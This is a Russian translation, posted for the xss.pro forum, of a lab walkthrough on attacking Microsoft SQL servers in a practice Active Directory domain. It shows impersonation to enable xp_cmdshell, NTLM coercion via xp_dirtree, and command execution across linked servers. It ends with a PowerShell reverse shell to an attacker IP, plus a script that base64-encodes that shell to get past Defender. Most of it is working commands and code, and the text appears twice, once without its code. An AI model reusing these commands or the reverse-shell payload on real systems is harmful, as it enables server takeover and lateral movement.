ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы попробовали некоторые атаки с включенным ADCS на домене. Теперь давайте сделаем шаг назад и вернемся на castelblack.north.sevenkingdoms.local, чтобы взглянуть на сервер MSSQL. Прежде чем перейти к этой главе, я сделал несколько небольших конфигураций в лаборатории, чтобы убедиться, что вы все поняли, вы должны извлечь обновления и воспроизвести : ansible-playbook servers.yml, чтобы получить последнюю конфигурацию mssql.
Вот эти модификации:
arya.stark выполнить от имени пользователя dbo выдать привилегии на msdb
brandon.stark выполнить от имени пользователя dbo привилегию impersonate на jon.snow
Перечисление серверов MSSQL
Impacket GetUserSPNs.py
Сначала попробуем выяснить пользователей с SPN на сервере MSSQL
И на домене essos
Далее
Два сервера отвечают :
braavos.essos.local : результат идентичен результату castelblack.
CrackMapExec
Давайте попробуем с помощью crackmapexec
Теперь мы можем попробовать с пользователем samwell.tarly
мы получили доступ к базе данных
Мы подключаемся к серверу mssql с помощью следующей команды:
Help:
Я добавил несколько новых записей в базу данных: enum_db/enum_links/enum_impersonate/enum_login/enum_owner/exec_as_user/exec_as_login/use_link/show_query/mask_query
Начнем перечисление:
Это запустит следущий запрос:
Мы видим только основную часть потому что являемся простым пользователем
impersonate - выполнять как логин
Давайте перечислим значения имперсонализации:
В результате будут выполнены следующие запросы:
Предыдущая команда выводит список всех логинов с разрешением на имперсонацию.
Эта команда также запускает следующую команду на каждой базе данных:
Предыдущая команда выводит список всех пользователей с разрешением на имперсонацию.
Что это такое? Логин и пользователь, в чем разница?
Логин дает право на вход "директора" в SERVER.
"Пользователь" дает право входа в отдельную БАЗУ ДАННЫХ.
Я нашел хорошее объяснение для вышесказанного, если вы еще не поняли читайте:
"SQL Login предназначен для аутентификации, а SQL Server User - для авторизации. Аутентификация может решить, есть ли у нас разрешения на доступ к серверу или нет, а авторизация решает, какие различные операции мы можем выполнять в базе данных. Логин создается на уровне экземпляра SQL Server, а пользователь - на уровне базы данных SQL Server. Мы можем иметь несколько пользователей из разных баз данных, подключенных к одному логину на сервере".
Давайте посмотрим результат:
Ok Samwell получил логин имперсонализации для пользователя sa.
Поэтому мы можем выдать sa за другого пользователя с помощью execute as login и выполнять команды с помощью xp_cmdshell
Это запустит следующие команды:
И мы добились выполнения кода !
На этот раз продолжим перечисление в качестве login sa
Как мы видим, с помощью sa login мы видим гораздо больше, и что jon.snow является сисадмином на сервере mssql.
Давайте посмотрим, есть ли у других привилегии имперсонации:
Как пользователь sysadmin (sa), мы можем видеть всю информацию в базе данных и, соответственно, других пользователей с привилегиями имперсонации. Другим способом проникновения может быть доступ от имени brandon.stark и выполнение команды execute as login для пользователя jon.snow.
impersonate - execute as user
Мы запускаем соединение с базой данных под именем arya.stark :
Если мы используем master db и выдаем себя за пользователя dbo, мы не можем получить шелл
наш пользователь также получил привилегию impersonate user на пользователя dbo в базе данных msdb
Разница между двумя базами данных заключается в том, что для msdb установлено свойство trustworthy (значение по умолчанию для msdb).
С свойством trustworthy мы получаем шелл
Coerce и relay
Mssql также можно использовать для принудительной NTLM-аутентификации с сервера mssql. Входящее соединение будет от пользователя, который запускает сервер mssql.
В нашем случае, если мы укажем любого пользователя, например, hodor, мы сможем получить NTLM-аутентификацию
start responder responder -I vboxnet0
Подключение с hodor (0 privilèges)
запустите команду xp_dirtree :
И мы получаем соединение с нашим респондером
Это будет работать и с ntlmrelayx (например, с сервером, работающим от имени администратора и с тем же паролем на других серверах). Но в лаборатории такое поведение пока не настроено.
доверенные ссылки
Еще одно злоупотребление SQL, которое мы можем попробовать в лаборатории, это использование доверенных ссылок mssql.
Обратите внимание, что доверенная ссылка также является техникой "лес на лес".
Для злоупотребления ссылками давайте подключимся к jon.snow и воспользуемся enum_links
Это воспроизводит следующие запросы:
Как мы видим, существует связанный сервер с именем BRAAVOS и существует связка с пользователем jon.snow и sa на Braavos.
Если мы используем ссылку, мы можем получить инъекцию команды на Braavos:
Это запускает следующие команды MSSQL:
Мы получили инъекцию команды на braavos.essos.local под именем essos\sql_svc.
Я сделал изменения в mssqlclient.py, чтобы иметь возможность создавать цепочки доверенных_ссылок. От нее мы можем перейти к другой доверенной ссылке и т.д...
Пример
Выполнение команд в shell
Мы получили выполнение команд на castelblack, а также на braavos. Но теперь нам нужен shell для взаимодействия с сервером.
Чтобы получить shell, мы можем использовать базовую веб-оболочку Powershell (она доступна в проекте arsenal commands cheatsheet. Это еще один из моих проектов, который мне нужно будет улучшить, когда у меня появится время, но этот скрипт больше не обходит defender, поэтому давайте напишем некоторые модификации):
Давайте преобразуем эту команду powershell в base64 в utf-16 для powershell
запустили и полуили шелл
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы попробовали некоторые атаки с включенным ADCS на домене. Теперь давайте сделаем шаг назад и вернемся на castelblack.north.sevenkingdoms.local, чтобы взглянуть на сервер MSSQL. Прежде чем перейти к этой главе, я сделал несколько небольших конфигураций в лаборатории, чтобы убедиться, что вы все поняли, вы должны извлечь обновления и воспроизвести : ansible-playbook servers.yml, чтобы получить последнюю конфигурацию mssql.
Вот эти модификации:
arya.stark выполнить от имени пользователя dbo выдать привилегии на msdb
brandon.stark выполнить от имени пользователя dbo привилегию impersonate на jon.snow
Перечисление серверов MSSQL
Impacket GetUserSPNs.py
Сначала попробуем выяснить пользователей с SPN на сервере MSSQL
Код:
GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople
И на домене essos
Код:
GetUserSPNs.py -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Далее
Код:
nmap -p 1433 -sV -sC 192.168.56.10-23
Два сервера отвечают :
Код:
castelblack.north.sevenkingdoms.local
braavos.essos.local : результат идентичен результату castelblack.
CrackMapExec
Давайте попробуем с помощью crackmapexec
Код:
./cme mssql 192.168.56.22-23
Теперь мы можем попробовать с пользователем samwell.tarly
Код:
./cme mssql 192.168.56.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local
мы получили доступ к базе данных
Impacket
- Чтобы перечислить и использовать impacket mssql, я сделал модифицированную версию примера mssqlclient.py.
- Вы можете найти версию здесь
- Установка аналогична тому, что мы сделали в части 5, объедините PR в вашем локальном проекте impacket и перезапустите установку:
Код:
cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
cd myimpacket
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
git fetch origin pull/1397/head:1397
git merge 1397
python3 -m pip install .
Мы подключаемся к серверу mssql с помощью следующей команды:
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
Help:
Код:
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonate
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
Я добавил несколько новых записей в базу данных: enum_db/enum_links/enum_impersonate/enum_login/enum_owner/exec_as_user/exec_as_login/use_link/show_query/mask_query
Начнем перечисление:
Код:
enum_logins
Код:
select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin,
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
from master.sys.server_principals r
left join master.sys.syslogins sl on sl.sid = r.sid
where r.type in ('S','E','X','U','G')
impersonate - выполнять как логин
Давайте перечислим значения имперсонализации:
Код:
enum_impersonate
Код:
SELECT 'LOGIN' as 'execute as','' AS 'database',
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
Предыдущая команда выводит список всех логинов с разрешением на имперсонацию.
Эта команда также запускает следующую команду на каждой базе данных:
Код:
use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
Предыдущая команда выводит список всех пользователей с разрешением на имперсонацию.
Что это такое? Логин и пользователь, в чем разница?
Логин дает право на вход "директора" в SERVER.
"Пользователь" дает право входа в отдельную БАЗУ ДАННЫХ.
Я нашел хорошее объяснение для вышесказанного, если вы еще не поняли читайте:
"SQL Login предназначен для аутентификации, а SQL Server User - для авторизации. Аутентификация может решить, есть ли у нас разрешения на доступ к серверу или нет, а авторизация решает, какие различные операции мы можем выполнять в базе данных. Логин создается на уровне экземпляра SQL Server, а пользователь - на уровне базы данных SQL Server. Мы можем иметь несколько пользователей из разных баз данных, подключенных к одному логину на сервере".
Давайте посмотрим результат:
Ok Samwell получил логин имперсонализации для пользователя sa.
Поэтому мы можем выдать sa за другого пользователя с помощью execute as login и выполнять команды с помощью xp_cmdshell
Код:
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
Код:
exec as login='sa';
exec master.dbo.sp_configure 'show advanced options', 1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master.dbo.xp_cmdshell 'whoami'
И мы добились выполнения кода !
На этот раз продолжим перечисление в качестве login sa
Код:
enum_logins
Как мы видим, с помощью sa login мы видим гораздо больше, и что jon.snow является сисадмином на сервере mssql.
Давайте посмотрим, есть ли у других привилегии имперсонации:
Код:
enum_impersonate
Как пользователь sysadmin (sa), мы можем видеть всю информацию в базе данных и, соответственно, других пользователей с привилегиями имперсонации. Другим способом проникновения может быть доступ от имени brandon.stark и выполнение команды execute as login для пользователя jon.snow.
impersonate - execute as user
Мы запускаем соединение с базой данных под именем arya.stark :
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
Код:
use master
execute as user = "dbo"
exec master..xp_cmdshell 'whoami'
наш пользователь также получил привилегию impersonate user на пользователя dbo в базе данных msdb
Разница между двумя базами данных заключается в том, что для msdb установлено свойство trustworthy (значение по умолчанию для msdb).
С свойством trustworthy мы получаем шелл
Coerce и relay
Mssql также можно использовать для принудительной NTLM-аутентификации с сервера mssql. Входящее соединение будет от пользователя, который запускает сервер mssql.
В нашем случае, если мы укажем любого пользователя, например, hodor, мы сможем получить NTLM-аутентификацию
start responder responder -I vboxnet0
Подключение с hodor (0 privilèges)
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:hodor@castelblack.north.sevenkingdoms.local
запустите команду xp_dirtree :
Код:
exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1
И мы получаем соединение с нашим респондером
Это будет работать и с ntlmrelayx (например, с сервером, работающим от имени администратора и с тем же паролем на других серверах). Но в лаборатории такое поведение пока не настроено.
доверенные ссылки
Еще одно злоупотребление SQL, которое мы можем попробовать в лаборатории, это использование доверенных ссылок mssql.
Обратите внимание, что доверенная ссылка также является техникой "лес на лес".
Для злоупотребления ссылками давайте подключимся к jon.snow и воспользуемся enum_links
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
SQL (NORTH\jon.snow dbo@master)> enum_links
Код:
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
Как мы видим, существует связанный сервер с именем BRAAVOS и существует связка с пользователем jon.snow и sa на Braavos.
Если мы используем ссылку, мы можем получить инъекцию команды на Braavos:
Код:
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
Код:
EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'', 1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami'') AT BRAAVOS
Мы получили инъекцию команды на braavos.essos.local под именем essos\sql_svc.
Я сделал изменения в mssqlclient.py, чтобы иметь возможность создавать цепочки доверенных_ссылок. От нее мы можем перейти к другой доверенной ссылке и т.д...
Пример
Выполнение команд в shell
Мы получили выполнение команд на castelblack, а также на braavos. Но теперь нам нужен shell для взаимодействия с сервером.
Чтобы получить shell, мы можем использовать базовую веб-оболочку Powershell (она доступна в проекте arsenal commands cheatsheet. Это еще один из моих проектов, который мне нужно будет улучшить, когда у меня появится время, но этот скрипт больше не обходит defender, поэтому давайте напишем некоторые модификации):
Код:
$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
Давайте преобразуем эту команду powershell в base64 в utf-16 для powershell
Код:
#!/usr/bin/env python
import base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
запустили и полуили шелл
- Есть несколько интересных проектов по использованию mssql, вот некоторые из них:
- Интересная информация:
- https://book.hacktricks.xyz/network-services-пентестинг/пентестинг-mssql-microsoft-sql-сервер
- https://ppn.snovvcrash.rocks/pentest/infrastructure/dbms/mssql
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md
- https://h4ms1k.github.io/Red_Team_MSSQL_Server/#
- https://github.com/Jean-Francois-C/Database-Security-Audit/blob/master/MSSQL%20database%20penetration%20testing